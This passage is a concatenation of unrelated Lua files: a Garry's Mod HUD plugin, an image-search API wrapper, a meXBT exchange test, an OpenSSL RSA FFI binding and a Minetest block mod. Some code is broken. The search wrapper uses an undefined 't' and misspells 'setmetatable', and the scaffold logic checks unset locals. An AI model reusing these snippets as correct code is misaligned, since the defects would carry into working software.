if (hud.lang.tick or 0) < CurTime() then
if (hud.lang.l != ix.option.Get("language", "english")) then
hud.ResetLang()
end
hud.lang.tick = CurTime() + 1
end
local client = LocalPlayer()
local playedHeartbeatSound = false
if (client:Alive()) then
local health = client:GetHealth()
local maxHealth = client:GetMaxHealth()
if (health < 34) then
if (!self.HeartbeatSound) then
self.HeartbeatSound = CreateSound(client, "player/heartbeat1.wav")
end
if (CurTime() >= (self.NextHeartbeat or 0)) then
self.NextHeartbeat = CurTime() + ( 0.75 + ( (1.25 / maxHealth) * health ) )
self.HeartbeatSound:PlayEx(0.75 - ( (0.7 / maxHealth) * health ), 100)
end
playedHeartbeatSound = true
end
end
if (!playedHeartbeatSound and self.HeartbeatSound) then
if (client:Alive()) then
self.HeartbeatSound:FadeOut(10)
else
self.HeartbeatSound:Stop()
end
end
for _, v in ipairs(player.GetAll()) do
if (v:GetCharacter() and v:Alive() and v:GetNetVar("brth")) then
v.BreathSound = v:StartLoopingSound(breathSound)
elseif (v.BreathSound) then
v:StopLoopingSound(v.BreathSound)
v.BreathSound = nil
end
end
end
gameevent.Listen("player_disconnect")
hook.Add("player_disconnect", "HUD.player_disconnect", function(data)
local client = Player(data.userid)
if (client.BreathSound) then
client:StopLoopingSound(client.BreathSound)
client.BreathSound = nil
end
end)
do
local ColorModify = {
[ "$pp_colour_addr" ] = 0,
[ "$pp_colour_addg" ] = 0,
[ "$pp_colour_addb" ] = 0,
[ "$pp_colour_brightness" ] = 0,
[ "$pp_colour_contrast" ] = 1,
[ "$pp_colour_colour" ] = 1,
[ "$pp_colour_mulr" ] = 0,
[ "$pp_colour_mulg" ] = 0,
[ "$pp_colour_mulb" ] = 0
}
local color = 0
function PLUGIN:RenderScreenspaceEffects()
if (LocalPlayer():Alive()) then
color = 1 - (LocalPlayer():GetHealth() / LocalPlayer():GetMaxHealth())
-- color = math.Approach(color, math.Clamp(1 - math.Clamp(LocalPlayer():Health() / LocalPlayer():GetMaxHealth(), 0, 1), 0, 1), FrameTime() * 3)
if (color > 0) then
ColorModify["$pp_colour_colour"] = math.Clamp(1 - color, 0, 1)
DrawColorModify(ColorModify)
end
end
end
end
function PLUGIN:HUDPaint()
local client = LocalPlayer()
if (!client:GetCharacter() or !client:Alive()) then return end
-- OUTLINE
local entity = LocalPlayer():GetTrace(120).Entity
if (IsValid(entity) and Schema.outlineItems[entity:GetClass()]) then
outline.Add(entity, ix.option.Get("colorOutlineItems", color_white), OUTLINE_MODE_VISIBLE)
end
hud:drawNotifications()
local margin = sscale(5)
local w, h = ScrW(), ScrH()
local perc = {}
perc.w = sscale(150)
perc.h = sscale(15)
perc.x = w/2 - perc.w/2
perc.y = h - perc.h - sscale(5)
hud:compass(perc)
perc = {}
perc.w = sscale(100)
perc.h = sscale(15)
perc.x = sscale(5)
perc.y = h - perc.h - sscale(5)
hud:edgyBar(perc)
local oldX = perc.x
perc.h = sscale(15)
perc.x = perc.x + perc.w + sscale(5)
perc.w = sscale(50)
perc.y = perc.y
-- Reputation
local repData = Schema.ranks[client:GetReputationLevel()] or Schema.ranks[0]
perc.textColor = repData[2]
hud:drawText(perc, L(repData[1]))
-- Human needs
local getHunger = math.Round((1 - client:GetHungerPercent()) * 100)
local getThirst = math.Round((1 - client:GetThirstPercent()) * 100)
perc.textColor = color_white
perc.w = sscale(30)
perc.h = sscale(25)
perc.x = oldX
perc.y = perc.y - perc.h - margin
hud:percDisp(perc, hud.lang.hunger, getHunger)
perc.x = perc.x + perc.w + margin
hud:percDisp(perc, hud.lang.thirst, getThirst)
perc.x = perc.x + perc.w + margin
hud:percDisp(perc, hud.lang.stamina, math.Round(client:GetLocalVar("stm", 0)))
perc.w = sscale(50)
perc.h = sscale(15)
perc.x = sscale(5)
if (client:GetNetVar("bleeding")) then
local prefix, color = ix.bleeding:Format()
perc.textColor = color
perc.y = perc.y - perc.h - margin
hud:status(perc, prefix, "5")
end
-- blood loss effect
local bleeding_level
for _, v in ipairs(player.GetAll()) do
if (IsValid(v) and v:Health() > 0) then
bleeding_level = v:GetNetVar("bleeding")
if (bleeding_level and (v.nextBloodDrop or 0) < CurTime()) then
local bone_pos = v:GetBonePosition(v:LookupBone("ValveBiped.Bip01_Spine"))
if (!bone_pos) then continue end
local effect = EffectData()
effect:SetOrigin(bone_pos)
effect:SetMagnitude(1)
util.Effect("blooddrop", effect, nil)
v.nextBloodDrop = CurTime() + math.max(0.25, 0.5 + ix.bleeding.max_level - bleeding_level)
end
end
end
if (client:IsBrokenLeg()) then -- НОГА ПОВРЕЖДЕНА
perc.textColor = Color("red")
perc.y = perc.y - perc.h - margin
hud:status(perc, L("broken_leg"))
end
-- Safezone
local penaltyTime = math.max(0, client:GetPenaltyTime() - CurTime())
if (penaltyTime != 0) then
perc.y = perc.y - perc.h - margin
perc.textColor = Color("red")
hud:status(perc, L"cannot_enter_safezone" .. " " .. string.ToMinutesSeconds(penaltyTime), "R")
elseif (client:GetLocalVar("SH_SZ.Safe", SH_SZ.OUTSIDE) == SH_SZ.PROTECTED) then
perc.y = perc.y - perc.h - margin
perc.textColor = Color(50, 200, 50)
hud:status(perc, hud.lang.safezone, "R")
elseif (client:GetLocalVar("SH_SZ.Safe", SH_SZ.OUTSIDE) == SH_SZ.ENTERING) then
local sz = SH_SZ.m_Safe
if (sz and sz.opts.ptime) then
perc.y = perc.y - perc.h - margin
perc.textColor = Color(200, 200, 50)
local time = math.max(math.ceil(sz.enter + sz.opts.ptime - CurTime()), 0)
hud:status(perc, hud.lang.safezone .. " " .. string.ToMinutesSeconds(math.max(0, time - 1)), "R")
end
end
-- PVP
local pvpTime = math.max(0, client:GetPVPTime() - CurTime())
if (pvpTime != 0) then
perc.y = perc.y - perc.h - margin
perc.textColor = Color("red")
hud:status(perc, L"combat_logged" .. " " .. string.ToMinutesSeconds(pvpTime), "R") -- В БОЮ
end
if (hook.Run("CanPlayerRegenHealth", client) != false) then
if (getHunger >= 90 and getThirst >= 90) then
perc.textColor = Color("light_lime")
perc.y = perc.y - perc.h - margin
hud:status(perc, hud.lang.well_fed, "j") -- СЫТ
end
end
local rad = client:GetRadiationTotal()
if (rad > 0) then
perc.textColor = rad >= 500 and Color("red") or Color("yellow")
perc.y = perc.y - perc.h - margin
hud:status(perc, hud.lang.radiation .. ": " .. math.Round(rad), "Z") -- СЫТ
end
hook.Run("HUDExtraPaint", client, perc, hud, margin)
end
end
|
local search = {}
search.new = function (request)
local new = {}
new.photos = function (t)
if not t then t = {} end
setmetatable(t, {__index = {page = 1, per_page = 10}})
return request({
url = '/search/photos',
method = 'GET',
query = {
query = t.query,
page = t.page,
per_page = t.per_page,
collections = t.collections
}
})
end
new.collections = function (options)
if not t then t = {} end
setmetable(t, {__index = {page = 1, per_page = 10}})
return request({
url = '/search/collections',
method = 'GET',
query = {
query = t.query,
page = t.page,
per_page = t.per_page
}
})
end
new.users = function (options)
if not t then t = {} end
setmetable(t, {__index = {page = 1, per_page = 10}})
return request ({
url = '/search/users',
method = 'GET',
query = {
query = t.query,
page = t.page,
per_page = t.per_page
}
})
end
return new
end
return search
|
require 'busted.runner'()
local mexbt = require('mexbt')
describe("meXBT", function()
it("gives a valid response to all public api functions that require no args", function()
local flist = {"ticker", "trades", "currency_pairs", "order_book"};
for i,fname in ipairs(flist) do
assert.is_true(mexbt[fname]().isAccepted)
end
end)
it("allows passing a custom currency pair to functions that accept it", function()
local flist = {"ticker", "trades", "order_book"};
for i,fname in ipairs(flist) do
assert.is_true(mexbt[fname]('BTCUSD').isAccepted)
end
end)
it("allows you to fetch trades by date range", function()
local result = mexbt.trades_by_date(nil, os.time(), os.time())
assert.is_true(result.isAccepted)
assert.is_true(#result.trades == 0)
end)
end)
|
--
-- Created by IntelliJ IDEA.
-- User: junjie
-- Date: 2014/11/5
-- Time: 15:40
-- 稍后完善其他函数的包装
--
local ffi = require("ffi")
local crypto = ffi.load("crypto")
ffi.cdef[[
typedef struct rsa_st RSA;
typedef struct bio_st BIO;
typedef int pem_password_cb(char *buf, int size, int rwflag, void *userdata);
int RSA_public_encrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa,int padding);
int RSA_private_encrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa,int padding);
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa,int padding);
int RSA_private_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa,int padding);
BIO *BIO_new_mem_buf(void *buf, int len);
int BIO_free(BIO *a);
RSA *PEM_read_bio_RSA_PUBKEY(BIO *bp, RSA **x, pem_password_cb *cb, void *u);
RSA *PEM_read_bio_RSAPrivateKey(BIO *bp, RSA **x, pem_password_cb *cb, void *u);
int RSA_size(const RSA *r);
void RSA_free(RSA *r);
]]
local RSA_PKCS1_PADDING = 1
local function init_public_key(pem_key)
local bio = crypto.BIO_new_mem_buf(ffi.cast("unsigned char *", pem_key), -1)
local rsa = crypto.PEM_read_bio_RSA_PUBKEY(bio, nil, nil, nil)
crypto.BIO_free(bio)
if rsa == nil then
return nil, "parse public key fail"
end
return rsa, nil
end
local function init_private_key(pem_key)
local bio = crypto.BIO_new_mem_buf(ffi.cast("unsigned char *", pem_key), -1)
local rsa = crypto.PEM_read_bio_RSAPrivateKey(bio, nil, nil, nil)
crypto.BIO_free(bio)
if rsa == nil then
return nil, "parse private key fail"
end
return rsa, nil
end
local function public_decrypt(key, data)
local rsa, err = init_public_key(key)
if err ~= nil then
return nil, err
end
local size = tonumber(crypto.RSA_size(rsa))
local decrypted = ffi.new("unsigned char[?]", size)
data = ffi.cast("const unsigned char *" ,data)
local len = crypto.RSA_public_decrypt(size, data, decrypted, rsa, RSA_PKCS1_PADDING)
crypto.RSA_free(rsa)
if len <= 0 then
return nil, "decrypt fail"
end
return ffi.string(decrypted, len), nil
end
local function private_encrypt(key, data)
local rsa, err = init_private_key(key)
if err ~= nil then
return nil, err
end
local size = tonumber(crypto.RSA_size(rsa))
local encrypted = ffi.new("unsigned char[?]", size)
local len = crypto.RSA_private_encrypt(#data, data, encrypted, rsa, RSA_PKCS1_PADDING)
crypto.RSA_free(rsa)
if len ~= size then
return nil, "encrypt fail"
end
return ffi.string(encrypted, len), nil
end
return {
public_decrypt = public_decrypt,
private_encrypt = private_encrypt,
}
|
--[[
GloopBlocks
Originally written by GloopMaster
Licensed under WTFPL.
Maintained by VanessaE.
--]]
-- Boilerplate to support localized strings if intllib mod is installed.
local S
if minetest.get_modpath("intllib") then
S = intllib.Getter()
else
S = function(s) return s end
end
-- misc stuff
local colorlist = {
{"white", "White"},
{"grey", "Grey"},
{"black", "Black"},
{"red", "Red"},
{"yellow", "Yellow"},
{"green", "Green"},
{"cyan", "Cyan"},
{"blue", "Blue"},
{"magenta", "Magenta"},
{"orange", "Orange"},
{"violet", "Violet"},
{"brown", "Brown"},
{"pink", "Pink"},
{"dark_grey", "Dark Grey"},
{"dark_green", "Dark Green"},
}
-- Nodes
minetest.register_node("gloopblocks:rainbow_block", {
description = S("Rainbow Block"),
tiles = {"gloopblocks_rainbow_block.png"},
is_ground_content = true,
groups = {cracky=3},
sounds = default.node_sound_defaults(),
})
minetest.register_node("gloopblocks:cement", {
description = S("Cement"),
tiles = {"gloopblocks_cement.png"},
is_ground_content = true,
groups = {cracky=2},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:evil_block", {
description = S("Evil Block"),
tiles = {"gloopblocks_evil_block.png"},
light_source = 5,
is_ground_content = true,
groups = {cracky=2},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:basalt", {
description = S("Basalt"),
tiles = {"gloopblocks_basalt.png"},
groups = {cracky=2},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:pumice", {
description = S("Pumice"),
tiles = {"gloopblocks_pumice.png"},
groups = {cracky=3},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:pavement", {
description = S("Pavement"),
tiles = {"gloopblocks_pavement.png"},
groups = {cracky=3, oddly_breakable_by_hand=3},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:oerkki_block", {
drawtype = "nodebox",
description = S("Oerkki Block"),
paramtype = "light",
paramtype2 = "facedir",
tiles = {
"gloopblocks_oerkkiblock_tb.png",
"gloopblocks_oerkkiblock_tb.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_front.png"
},
groups = {cracky=3, oddly_breakable_by_hand=3},
sounds = default.node_sound_stone_defaults(),
selection_box = {
type = "fixed",
fixed = { -0.5, -0.5, -0.5, 0.5, 0.5, 0.5 }
},
node_box = {
type = "fixed",
fixed = {
{-0.5, -0.5, -0.1875, 0.5, 0.5, 0.1875}, -- NodeBox1
{-0.5, -0.5, -0.5, -0.4375, 0.5, 0.5}, -- NodeBox2
{0.4375, -0.5, -0.5, 0.5, 0.5, 0.5}, -- NodeBox3
{-0.5, 0.4375, -0.5, 0.5, 0.5, 0.5}, -- NodeBox4
{-0.5, -0.5, -0.5, 0.5, -0.4375, 0.5}, -- NodeBox5
{-0.5, -0.0625, -0.5, 0.5, 0.0625, 0.5}, -- NodeBox6
}
}
})
minetest.register_node("gloopblocks:stone_brick_mossy", {
description = S("Mossy Stone Brick"),
tiles = {"gloopblocks_stone_brick_mossy.png"},
groups = {cracky=3, stone=1},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:stone_mossy", {
description = S("Mossy Stone"),
tiles = {"gloopblocks_stone_mossy.png"},
groups = {cracky=3, stone=1},
sounds = default.node_sound_stone_defaults(),
drop = "default:mossycobble"
})
minetest.register_node("gloopblocks:cobble_road", {
description = S("Cobblestone Road Bed"),
tiles = {"gloopblocks_cobble_road.png"},
groups = {cracky=3, stone=1},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:cobble_road_mossy", {
description = S("Mossy Cobblestone Road Bed"),
tiles = {"gloopblocks_cobble_road_mossy.png"},
groups = {cracky=3, stone=1},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("gloopblocks:scaffolding", {
description = S("Wooden Scaffold"),
drawtype = "allfaces",
paramtype = "light",
sunlight_propagates = true,
tiles = {"gloopblocks_scaffold.png"},
groups = {choppy=3, oddly_breakable_by_hand=3},
sounds = default.node_sound_wood_defaults(),
on_rightclick = function(pos, node, clicker, itemstack)
if itemstack and itemstack:get_name() == node.name then
for i = 1,19 do
if minetest.get_node({x=pos.x,y=pos.y-i,z=pos.z}).name == "gloopblocks:scaffolding" and scafffound ~= 0 and scafffound ~= 1 then
local scafffound = 1
return itemstack
else
break
end
end
for i = 1,19 do
if minetest.get_node({x=pos.x,y=pos.y+i,z=pos.z}).name == "air" and scaffworked ~= 1 and scaffworked ~= 0 then
minetest.set_node({x=pos.x,y=pos.y+i,z=pos.z}, {name="gloopblocks:scaffolding"})
local scaffworked = 1
return ItemStack(tostring(itemstack:get_name().." "..tostring(itemstack:get_count()-1)))
elseif minetest.get_node({x=pos.x,y=pos.y+i,z=pos.z}).name == "gloopblocks:scaffolding" then
else
local scaffworked = 0
end
end
if scaffworked == 1 then
return ItemStack(tostring(itemstack:get_name().." "..tostring(itemstack:get_count()-1)))
else
return itemstack
end
else return itemstack end
end,
})
minetest.register_alias("moreblocks:oerkkiblock", "gloopblocks:oerkki_block")
minetest.register_alias("gloopblocks:obsidian", "default:obsidian")
-- Stairs/slabs defs, conversion of normal -> mossy items
if minetest.setting_getbool("gloopblocks_mossy_conversion") ~= false then
function gloopblocks_register_mossy_conversion(mossyobjects)
for i in ipairs(mossyobjects) do
minetest.register_abm({
nodenames = { mossyobjects[i][1] },
neighbors = {"default:water_source", "default:water_flowing"},
interval = 120,
chance = 50,
action = function(pos, node)
if minetest.find_node_near(pos, 2, "air") then
local fdir = node.param2
minetest.add_node(pos, {name = mossyobjects[i][2], param2 = fdir})
end
end,
})
end
end
end
if minetest.get_modpath("moreblocks") then
stairsplus:register_all("gloopblocks", "oerkki_block", "gloopblocks:oerkki_block", {
description = "Oerkki Block",
tiles = {
"gloopblocks_oerkkiblock_tb.png",
"gloopblocks_oerkkiblock_tb.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_sides.png",
"gloopblocks_oerkkiblock_front.png"
},
groups = {cracky=2, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "stone_brick_mossy", "gloopblocks:stone_brick_mossy", {
description = "Mossy Stone Brick",
tiles = {"gloopblocks_stone_brick_mossy.png"},
groups = {cracky=1, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "stone_mossy", "gloopblocks:stone_mossy", {
description = "Mossy Stone",
tiles = {"gloopblocks_stone_mossy.png"},
groups = {cracky=1, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "cobble_road", "gloopblocks:cobble_road", {
description = "Cobblestone Roadbed",
tiles = {"gloopblocks_cobble_road.png"},
groups = {cracky=3, stone=1, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "cobble_road_mossy", "gloopblocks:cobble_road_mossy", {
description = "Mossy Cobblestone Roadbed",
tiles = {"gloopblocks_cobble_road_mossy.png"},
groups = {cracky=3, stone=1, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "cement", "gloopblocks:cement", {
description = "Cement",
tiles = {"gloopblocks_cement.png"},
groups = {cracky=2, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "pavement", "gloopblocks:pavement", {
description = "Pavement",
tiles = {"gloopblocks_pavement.png"},
groups = {cracky=2, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "rainbow_block", "gloopblocks:rainbow_block", {
description = "Rainbow Block",
tiles = {"gloopblocks_rainbow_block.png"},
groups = {cracky=3, not_in_creative_inventory=1},
sounds = default.node_sound_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "evil_block", "gloopblocks:evil_block", {
description = "Evil Block",
tiles = {"gloopblocks_evil_block.png"},
groups = {cracky=3, not_in_creative_inventory=1},
sounds = default.node_sound_defaults(),
light_source = 5,
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "basalt", "gloopblocks:basalt", {
description = "Basalt",
tiles = {"gloopblocks_basalt.png"},
groups = {cracky=2, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
stairsplus:register_all("gloopblocks", "pumice", "gloopblocks:pumice", {
description = "Pumice",
tiles = {"gloopblocks_pumice.png"},
groups = {cracky=3, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
sunlight_propagates = true,
})
for i in ipairs(colorlist) do
local color = colorlist[i][1]
local colordesc = colorlist[i][2]
stairsplus:register_all("wool", color, "wool:"..color, {
description = colordesc.." Wool",
tiles = {"wool_"..color..".png"},
groups = {snappy=2,choppy=2,oddly_breakable_by_hand=3,flammable=3,wool=1,not_in_creative_inventory=1},
sounds = default.node_sound_defaults(),
sunlight_propagates = true,
})
end
-- ABMs for mossy objects
if minetest.setting_getbool("gloopblocks_mossy_conversion") ~= false then
gloopblocks_register_mossy_conversion({
{ "default:cobble", "default:mossycobble" },
{ "default:stair_cobble", "default:stair_mossycobble" },
{ "default:slab_cobble", "default:slab_mossycobble" },
{ "moreblocks:stair_cobble", "moreblocks:stair_mossycobble" },
{ "moreblocks:stair_cobble_inner", "moreblocks:stair_mossycobble_inner" },
{ "moreblocks:stair_cobble_outer", "moreblocks:stair_mossycobble_outer" },
{ "moreblocks:stair_cobble_half", "moreblocks:stair_mossycobble_half" },
{ "moreblocks:slab_cobble_quarter", "moreblocks:slab_mossycobble_quarter" },
{ "moreblocks:slab_cobble", "moreblocks:slab_mossycobble" },
{ "moreblocks:slab_cobble_three_quarter", "moreblocks:slab_mossycobble_three_quarter" },
{ "moreblocks:panel_cobble", "moreblocks:panel_mossycobble" },
{ "moreblocks:micro_cobble", "moreblocks:micro_mossycobble" },
{ "moreblocks:stair_cobble_alt", "moreblocks:stair_mossycobble_alt" },
{ "gloopblocks:cobble_road", "gloopblocks:cobble_road_mossy" },
{ "gloopblocks:stair_cobble_road", "gloopblocks:stair_cobble_road_mossy" },
{ "gloopblocks:slab_cobble_road", "gloopblocks:slab_cobble_road_mossy" },
{ "gloopblocks:stair_cobble_road", "gloopblocks:stair_cobble_road_mossy" },
{ "gloopblocks:stair_cobble_road_inner", "gloopblocks:stair_cobble_road_mossy_inner" },
{ "gloopblocks:stair_cobble_road_outer", "gloopblocks:stair_cobble_road_mossy_outer" },
{ "gloopblocks:stair_cobble_road_half", "gloopblocks:stair_cobble_road_mossy_half" },
{ "gloopblocks:slab_cobble_road_quarter", "gloopblocks:slab_cobble_road_mossy_quarter" },
{ "gloopblocks:slab_cobble_road", "gloopblocks:slab_cobble_road_mossy" },
{ "gloopblocks:slab_cobble_road_three_quarter", "gloopblocks:slab_cobble_road_mossy_three_quarter" },
{ "gloopblocks:panel_cobble_road", "gloopblocks:panel_cobble_road_mossy" },
{ "gloopblocks:micro_cobble_road", "gloopblocks:micro_cobble_road_mossy" },
{ "gloopblocks:stair_cobble_road_alt", "gloopblocks:stair_cobble_road_mossy_alt" },
{ "default:stonebrick", "gloopblocks:stone_brick_mossy" },
{ "default:stair_stonebrick", "gloopblocks:stair_stone_brick_mossy" },
{ "default:slab_stonebrick", "gloopblocks:slab_stone_brick_mossy" },
{ "moreblocks:stair_stonebrick", "gloopblocks:stair_stone_brick_mossy" },
{ "moreblocks:stair_stonebrick_inner", "gloopblocks:stair_stone_brick_mossy_inner" },
{ "moreblocks:stair_stonebrick_outer", "gloopblocks:stair_stone_brick_mossy_outer" },
{ "moreblocks:stair_stonebrick_half", "gloopblocks:stair_stone_brick_mossy_half" },
{ "moreblocks:slab_stonebrick_quarter", "gloopblocks:slab_stone_brick_mossy_quarter" },
{ "moreblocks:slab_stonebrick", "gloopblocks:slab_stone_brick_mossy" },
{ "moreblocks:slab_stonebrick_three_quarter", "gloopblocks:slab_stone_brick_mossy_three_quarter" },
{ "moreblocks:panel_stonebrick", "gloopblocks:panel_stone_brick_mossy" },
{ "moreblocks:micro_stonebrick", "gloopblocks:micro_stone_brick_mossy" },
{ "moreblocks:stair_stonebrick_alt", "gloopblocks:stair_stone_brick_mossy_alt" },
{ "default:stone", "gloopblocks:stone_mossy" },
{ "default:stair_stone", "gloopblocks:stair_stone_mossy" },
{ "default:slab_stone", "gloopblocks:slab_stone_mossy" },
{ "moreblocks:stair_stone", "gloopblocks:stair_stone_mossy" },
{ "moreblocks:stair_stone_inner", "gloopblocks:stair_stone_mossy_inner" },
{ "moreblocks:stair_stone_outer", "gloopblocks:stair_stone_mossy_outer" },
{ "moreblocks:stair_stone_half", "gloopblocks:stair_stone_mossy_half" },
{ "moreblocks:slab_stone_quarter", "gloopblocks:slab_stone_mossy_quarter" },
{ "moreblocks:slab_stone", "gloopblocks:slab_stone_mossy" },
{ "moreblocks:slab_stone_three_quarter", "gloopblocks:slab_stone_mossy_three_quarter" },
{ "moreblocks:panel_stone", "gloopblocks:panel_stone_mossy" },
{ "moreblocks:micro_stone", "gloopblocks:micro_stone_mossy" },
{ "moreblocks:stair_stone_alt", "gloopblocks:stair_stone_mossy_alt" },
})
end
elseif minetest.get_modpath("stairs") then
--stairs.register_stair(subname, recipeitem, groups, images, description, sounds)
-- stairs:xxxx_stone_mossy ; xxxx = stair or slab
stairs.register_stair_and_slab("stone_mossy", "gloopblocks:stone_mossy",
{cracky=3},
{"gloopblocks_stone_mossy.png"},
S("Mossy Stone Stair"),
S("Mossy Stone Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_mossycobble
stairs.register_stair_and_slab("mossycobble", "default:mossycobble",
{cracky=3},
{"default_mossycobble.png"},
S("Mossy Cobble Stair"),
S("Mossy Cobble Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_stone_brick_mossy
stairs.register_stair_and_slab("stone_brick_mossy", "gloopblocks:stone_brick_mossy",
{cracky=3},
{"gloopblocks_stone_brick_mossy.png"},
S("Mossy Stone Brick Stair"),
S("Mossy Stone Brick Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_cobble_road
stairs.register_stair_and_slab("cobble_road", "gloopblocks:cobble_road",
{cracky=3},
{"gloopblocks_cobble_road.png"},
S("Cobble Roadbed Stair"),
S("Cobble Roadbed Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_cobble_road_mossy
stairs.register_stair_and_slab("cobble_road_mossy", "gloopblocks:cobble_road_mossy",
{cracky=3},
{"gloopblocks_cobble_road_mossy.png"},
S("Mossy Cobble Roadbed Stair"),
S("Mossy Cobble Roadbed Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_cement
stairs.register_stair_and_slab("cement", "gloopblocks:cement",
{cracky=2},
{"gloopblocks_cement.png"},
S("Cement Stair"),
S("Cement Slab"),
default.node_sound_stone_defaults())
-- stairs:xxxx_pavement
stairs.register_stair_and_slab("pavement", "gloopblocks:pavement",
{cracky=3, oddly_breakable_by_hand=3},
{"gloopblocks_pavement.png"},
S("Pavement Stair"),
S("Pavement Slab"),
default.node_sound_stone_defaults())
stairs.register_stair_and_slab("basalt", "gloopblocks:basalt",
{cracky=2},
{"gloopblocks_basalt.png"},
"Basalt Stair",
"Basalt Slab",
default.node_sound_stone_defaults())
stairs.register_stair_and_slab("pumice", "gloopblocks:pumice",
{cracky=3},
{"gloopblocks_pumice.png"},
"Pumice Stair",
"Pumice Slab",
default.node_sound_stone_defaults())
stairs.register_stair_and_slab("rainbow_block", "gloopblocks:rainbow_block",
{cracky=3},
{"gloopblocks_rainbow_block.png"},
"Rainbow Block Stair",
"Rainbow Block Slab",
default.node_sound_defaults())
for i in ipairs(colorlist) do
local color = colorlist[i][1]
local colordesc = colorlist[i][2]
stairs.register_stair_and_slab("wool_"..color, "wool:"..color,
{snappy=2,choppy=2,oddly_breakable_by_hand=3,flammable=3,wool=1},
{"wool_"..color..".png"},
"Wool Stair ("..colordesc..")",
"Wool Slab ("..colordesc..")",
default.node_sound_defaults())
end
if minetest.setting_getbool("gloopblocks_mossy_conversion") ~= false then
gloopblocks_register_mossy_conversion({
{ "default:cobble", "default:mossycobble" },
{ "stairs:stair_cobble", "stairs:stair_mossycobble" },
{ "stairs:slab_cobble", "stairs:slab_mossycobble" },
{ "gloopblocks:cobble_road", "gloopblocks:cobble_road_mossy" },
{ "stairs:stair_cobble_road", "stairs:stair_cobble_road_mossy" },
{ "stairs:slab_cobble_road", "stairs:slab_cobble_road_mossy" },
{ "default:stonebrick", "gloopblocks:stone_brick_mossy" },
{ "stairs:stair_stonebrick", "stairs:stair_stone_brick_mossy" },
{ "stairs:slab_stonebrick", "stairs:slab_stone_brick_mossy" },
{ "default:stone", "gloopblocks:stone_mossy" },
{ "stairs:stair_stone", "stairs:stair_stone_mossy" },
{ "stairs:slab_stone", "stairs:slab_stone_mossy" },
})
end
minetest.register_alias("default:stair_mossycobble", "stairs:stair_mossycobble")
minetest.register_alias("default:slab_mossycobble", "stairs:slab_mossycobble")
minetest.register_alias("gloopblocks:stair_cobble_road", "stairs:stair_cobble_road")
minetest.register_alias("gloopblocks:slab_cobble_road", "stairs:slab_cobble_road")
minetest.register_alias("gloopblocks:stair_cobble_road_mossy", "stairs:stair_cobble_road_mossy")
minetest.register_alias("gloopblocks:slab_cobble_road_mossy", "stairs:slab_cobble_road_mossy")
minetest.register_alias("gloopblocks:stair_stone_brick_mossy", "stairs:stair_stone_brick_mossy")
minetest.register_alias("gloopblocks:slab_stone_brick_mossy", "stairs:slab_stone_brick_mossy")
minetest.register_alias("gloopblocks:stair_stone_mossy", "stairs:stair_stone_mossy")
minetest.register_alias("gloopblocks:slab_stone_mossy", "stairs:slab_stone_mossy")
minetest.register_alias("gloopblocks:stair_cement", "stairs:stair_cement")
minetest.register_alias("gloopblocks:slab_cement", "stairs:slab_cement")
minetest.register_alias("gloopblocks:stair_pavement", "stairs:stair_pavement")
minetest.register_alias("gloopblocks:slab_pavement", "stairs:slab_pavement")
minetest.register_alias("gloopblocks:stair_pumice", "stairs:stair_pumice")
minetest.register_alias("gloopblocks:slab_pumice", "stairs:slab_pumice")
minetest.register_alias("gloopblocks:stair_basalt", "stairs:stair_basalt")
minetest.register_alias("gloopblocks:slab_basalt", "stairs:slab_basalt")
minetest.register_alias("gloopblocks:stair_rainbow_block", "stairs:stair_rainbow_block")
minetest.register_alias("gloopblocks:slab_rainbow_block", "stairs:slab_rainbow_block")
end
-- Tools
minetest.register_tool("gloopblocks:pick_cement", {
description = S("Cement Pickaxe"),
inventory_image = "gloopblocks_cement_pick.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=1,
groupcaps={
cracky={times={[1]=3.50, [2]=1.40, [3]=0.90}, uses=25, maxlevel=2}
},
damage_groups = {fleshy=4},
},
})
minetest.register_tool("gloopblocks:shovel_cement", {
description = S("Cement Shovel"),
inventory_image = "gloopblocks_cement_shovel.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=1,
groupcaps={
crumbly={times={[1]=1.50, [2]=0.60, [3]=0.45}, uses=25, maxlevel=2}
},
